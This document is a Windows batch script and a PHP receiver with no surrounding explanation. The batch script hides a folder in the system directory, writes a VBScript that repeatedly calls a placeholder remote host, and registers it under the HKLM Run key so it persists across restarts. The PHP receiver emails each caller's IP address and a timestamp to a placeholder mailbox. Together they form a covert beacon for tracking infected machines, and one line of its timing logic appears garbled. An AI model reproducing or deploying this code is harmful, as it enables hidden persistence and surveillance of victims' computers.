chcp 1251
MD "%SystemRoot%\123123\"
attrib "%SystemRoot%\123123" +h +s
echo Set oHTTP = WScript.CreateObject("winhttp.winhttprequest.5.1") > "%SystemRoot%\123123\123.vbs"
echo iPeriod = 666 >> "%SystemRoot%\123123\123.vbs"
echo sSource = "http://твойсайт.ru/mail.php" >> "%SystemRoot%\123123\123.vbs"
echo iTimer = Timer >> "%SystemRoot%\123123\123.vbs"
echo While 1 >> "%SystemRoot%\123123\123.vbs"
echo     WScript.Sleep 1000 >> "%SystemRoot%\123123\123.vbs"
echo         If (Timer - iTimer)  * 777 Then >> "%SystemRoot%\123123\123.vbs"
echo         oHTTP.open "GET", sSource, False >> "%SystemRoot%\123123\123.vbs"
echo           on error resume next >> "%SystemRoot%\123123\123.vbs"
echo         oHTTP.send >> "%SystemRoot%\123123\123.vbs"
echo         iTimer = Timer >> "%SystemRoot%\123123\123.vbs"
echo     End If >> "%SystemRoot%\123123\123.vbs"
echo WEnd >> "%SystemRoot%\123123\123.vbs"
REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v 123 /t REG_SZ /d %SystemRoot%\123123\123.vbs /f
start "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\123" %SystemRoot%\123123\123.vbs
pause

<?php
     $Date = date("d-m-y H:i:s", time());


     $ip = getenv("REMOTE_ADDR");

     
mail("tvoimail@sss.ru", "$Date", "$ip");
?>